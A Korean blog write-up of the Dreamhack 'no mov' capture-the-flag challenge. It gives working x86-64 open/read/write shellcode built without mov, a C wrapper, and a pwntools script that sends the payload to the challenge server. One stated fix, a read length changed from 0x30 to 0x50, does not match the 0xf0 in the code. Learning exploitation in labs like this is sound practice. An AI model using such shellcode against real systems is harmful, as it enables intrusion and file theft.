드림핵에서 제공하는 시스템 해킹 커리큘럼을 따라가니 shell_code라는 기술을 알 수 있었다. 이를 이용해 shell_basic 문제를 풀었으나 내가 제대로 이해한 것이 맞는지를 살펴보기 위해 또다른 쉘코드 문제 no mov를 풀었다.
no mov문제는 어셈블리언어 에서 mov를 쓰지 않고 문제를 해결하도록 요구한다.
일단 ./flag에 플래그가 있다고 하니 이를 16진수로 변환시켰다.
string = "./flag"
for i in range(len(string)):
print("%x" % ord(string[-1-i]), end="")
그 결과는 다음과 같았다.
67616c662f2e
이제 이를 차근차근 open, read, write하는 어셈블리를 구성하면 해결 될 문제였다.
하지만 이때 mov는 사용할 수 없으니 이를 대신할 명령어를 구성해야 했다.
mov는 값을 저장하는 역할을 하므로 xor로 레지스터를 0으로 초기화한후 add, or등의 연산으로 값을 저장 하면 될것이라 생각했고 이를 어셈블리어로 구성하였다.
section .text
global _start
_start:
push 0x0
xor rax, rax
add rax, 0x6761
push rax
xor rax, rax
add rax, 0x6c662f2e
push rax
xor rdi, rdi
add rdi, rsp
xor rsi, rsi
xor rdx, rdx
xor rax, rax
add rax, 0x2
syscall
xor rdi, rdi
lea r15, [rax]
or rdi, r15
xor rsi, rsi
add rsi, rsp
sub rsi, 0xf0
xor rdx, rdx
add rdx, 0xf0
xor rax, rax
syscall
xor rdi, rdi
or rdi, 0x1
xor rax, rax
inc rax
syscall
이를 그대로 nasm으로 변환시키고 바이트 코드화하고자 하였으나 mov와 관련된 16진수가 포함되도록 나와 이를 c언어로 변환하고 컴파일 하도록 하였다.
__asm__ (
".global run_sh\n"
"run_sh:\n"
"push 0x0\n"
"xor rax, rax\n"
"add rax, 0x6761\n"
"push rax\n"
"xor rax, rax\n"
"add rax, 0x6c662f2e\n"
"push rax\n"
"xor rdi, rdi\n"
"add rdi, rsp\n"
"xor rsi, rsi\n"
"xor rdx, rdx\n"
"xor rax, rax\n"
"add rax, 0x2\n"
"syscall\n"
"xor rdi, rdi\n"
"lea r15, [rax]\n"
"or rdi, r15\n"
"xor rsi, rsi\n"
"add rsi, rsp\n"
"sub rsi, 0xf0\n"
"xor rdx, rdx\n"
"add rdx, 0xf0\n"
"xor rax, rax\n"
"syscall\n"
"xor rdi, rdi\n"
"or rdi, 0x1\n"
"xor rax, rax\n"
"inc rax\n"
"syscall\n"
);
void run_sh();
int main(){
run_sh();
}
이를 dreamhack 서버로 보내기 위한 pwn python 코드를 작성하고 보내보니
from pwn import *
context.arch = "amd64"
p = remote("host3.dreamhack.games", 8947)
shellcode = [바이트 코드]
p.sendlineafter("Give me your shellcode > ", shellcode)
print(p.recv())

쓰래기 값이 나온다...
뭐가 문제냐....
일단 디버깅 해본다.
gdb로 디버깅한결과

따로따로 저장되고 있다.
mov로 16자리 넘길땐 잘 됐는데 add는 8자리 밖에 안되서 그냥 넘겼더니 따로 저장되나보다.
그럼...
비트 시프트 한번 써보자
__asm__ (
".global run_sh\n"
"run_sh:\n"
"push 0x0\n"
"xor rax, rax\n"
"add rax, 0x6761\n"
"shl rax, 32\n"
"add rax, 0x6c662f2e\n"
"push rax\n"
"xor rdi, rdi\n"
"add rdi, rsp\n"
"xor rsi, rsi\n"
"xor rdx, rdx\n"
"xor rax, rax\n"
"add rax, 0x2\n"
"syscall\n"
"xor rdi, rdi\n"
"lea r15, [rax]\n"
"or rdi, r15\n"
"xor rsi, rsi\n"
"add rsi, rsp\n"
"sub rsi, 0xf0\n"
"xor rdx, rdx\n"
"add rdx, 0xf0\n"
"xor rax, rax\n"
"syscall\n"
"xor rdi, rdi\n"
"or rdi, 0x1\n"
"xor rax, rax\n"
"inc rax\n"
"syscall\n"
);
void run_sh();
int main(){
run_sh();
}
처음 push 부분을 비트 시프트로 바꿔 한번에 push했다.

한번에 저장 잘 됐다.
이를 바이트 코드화해서 드림핵 서버로 보내주면

잘린다.
그럼 read부분에 0x30을 0x50정도로 바꿔주면

깔끔하게 아주 잘 나온다.
끝!
'보안 > 시스템해킹' 카테고리의 다른 글
| [Dreamhack][시스템 해킹] dreamvm (0) | 2026.07.18 |
|---|---|
| [시스템 해킹][Dreamhack] string (0) | 2026.07.11 |
| [시스템 해킹][재활][dreamhack] block bof (0) | 2025.06.25 |
| [Dream Hack] ssp_001 (0) | 2024.05.31 |
| [Dream Hack] cherry (0) | 2024.05.10 |